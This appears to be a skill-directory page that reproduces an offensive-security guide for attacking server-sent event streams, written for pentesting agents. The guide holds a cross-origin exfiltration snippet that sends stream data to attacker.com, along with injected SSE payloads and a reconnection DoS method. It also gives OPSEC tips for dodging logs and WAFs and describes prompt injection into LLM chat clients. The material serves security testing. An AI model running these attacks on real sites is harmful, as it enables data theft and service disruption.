api-server-sent-events
What it does
This guide covers security checks for server-sent events, a one-way stream from server to browser used by chat tools and live dashboards. It is for teams building or testing streaming features.
When to use it
- βWhen a chat or live dashboard uses server-sent events and needs a security review.
- βWhen you want to check whether another website can read a stream using a visitor's login.
- βWhen a client app passes streamed messages into an AI model and you need to check for injected content.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur live dashboard uses server-sent events. Can you check whether another website could read the stream?β
5 new skills a week. 1 minute to read.
How it works
The agent checks the stream's response headers and origin rules, then tests whether a request from a different site is allowed to read the data.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Server-Sent Events (SSE) Attack Surface
SSE is one-way (server β browser) over HTTP/1.1 or HTTP/2 with Content-Type: text/event-stream. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.
Detect
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
# id: 42
# event: message
# data: {"foo":"bar"}
# (blank line ends one event)
Top bug classes
1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for EventSource)
EventSource honors the Access-Control-Allow-Origin header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:
<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>
Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.
2. Prompt injection into LLM chat clients
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens ([DONE], special markers) that confuse the client:
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}
data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}
3. Reconnection token leak via Last-Event-ID
SSE allows resuming via the Last-Event-ID header. If id: lines carry session-state tokens, those tokens are sent on every reconnect β visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.
id: jwt-here-encoded
event: message
data: ...
4. Retry timing DoS
Server sets retry: 1000 on the wire. Attacker connects, instantly disconnects, repeats β server tracks reconnections in memory. Burst 10k clients β exhaustion.
5. Fragmenting events past content-type sniffers
A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)
Tooling
# curl with --no-buffer for live view
curl -sk -N https://target/stream
# Python sseclient β programmatic
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
print(ev.id, ev.event, ev.data)
'
# Burp: SSE traffic shows in Proxy β HTTP history but with "streaming" indicator;
# right-click β Send to Repeater works but won't display incremental events.
OPSEC
- SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak β disconnect cleanly to avoid stranded connection alerts.
- WAFs typically don't inspect SSE bodies (they exit early on
Connection: keep-alive+text/event-stream).
References
- WHATWG HTML Living Standard β Server-Sent Events section
- "SSE Considered Harmful?" β Detectify research blog
- LLM-frontend security writeups by simonw.net (Simon Willison) β prompt-injection-via-stream patterns
FAQ
What are server-sent events?
A one-way stream where the server keeps sending updates over a single open response.
Why do origin headers matter?
The guide says a missing or overly broad origin header can let another site read the stream.
Does it cover AI chat tools?
Yes. It mentions prompt injection risks when streamed messages are passed into a language model client.
Details
Original description by the author
Server-Sent Events (SSE / EventSource) exploitation β origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14025
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.